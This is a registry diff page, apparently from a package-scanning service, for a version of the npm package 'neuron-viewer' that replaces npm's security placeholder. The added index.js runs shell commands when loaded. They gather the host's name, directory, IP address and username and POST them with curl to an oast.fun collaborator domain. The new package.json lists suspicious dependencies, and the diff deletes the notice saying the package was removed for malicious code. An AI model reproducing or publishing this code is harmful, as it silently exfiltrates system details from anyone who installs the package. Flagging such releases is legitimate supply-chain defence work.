neuron-viewer 0.0.1-security → 9.5.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of neuron-viewer might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +37 -0
  2. package/package.json +27 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const { exec } = require("child_process");
2
+
3
+ function sendPingback(data) {
4
+ const collaboratorUrl = "https://rxthgpisbdduguomjwmisrypidcuf7xqs.oast.fun";
5
+ exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
6
+ if (error) {
7
+ console.error(`Error: ${error.message}`);
8
+ return;
9
+ }
10
+ if (stderr) {
11
+ console.error(`Stderr: ${stderr}`);
12
+ return;
13
+ }
14
+ console.log(`Pingback sent: ${stdout}`);
15
+ });
16
+ }
17
+
18
+ function executeCommand(command) {
19
+ exec(command, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error(`Error: ${error.message}`);
22
+ sendPingback(`Error executing command: ${error.message}`);
23
+ return;
24
+ }
25
+ if (stderr) {
26
+ console.error(`Stderr: ${stderr}`);
27
+ sendPingback(`Stderr: ${stderr}`);
28
+ return;
29
+ }
30
+ console.log(`Command output: ${stdout}`);
31
+ sendPingback(stdout); // Send the command output to the collaborator
32
+ });
33
+ }
34
+
35
+ // Example: Execute a command (e.g., 'whoami')
36
+ executeCommand('echo "Hostname: $(hostname), Directory: $(pwd), IP Address: $(hostname -I | awk '{print $1}'), Username: $(whoami)"');
37
+
package/package.json CHANGED
@@ -1,6 +1,30 @@
1
1
  {
2
+
2
3
  "name": "neuron-viewer",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
4
+
5
+ "version": "9.5.2",
6
+
7
+ "description": "A simple package to trigger Burp Collaborator for security testing",
8
+
9
+ "main": "index.js",
10
+
11
+ "scripts": {
12
+
13
+ "test": "node index.js"
14
+
15
+ },
16
+
17
+ "dependencies": {
18
+
19
+ "@mallutrojan005/coveralls": "^0.1.0",
20
+
21
+ "assistants-nextjs": "^9.0.0",
22
+
23
+ "lean-coffee": "^9.0.1",
24
+
25
+ "ts-jest-starter-kit": "^9.0.0"
26
+
27
+ }
28
+
6
29
  }
30
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=neuron-viewer for more information.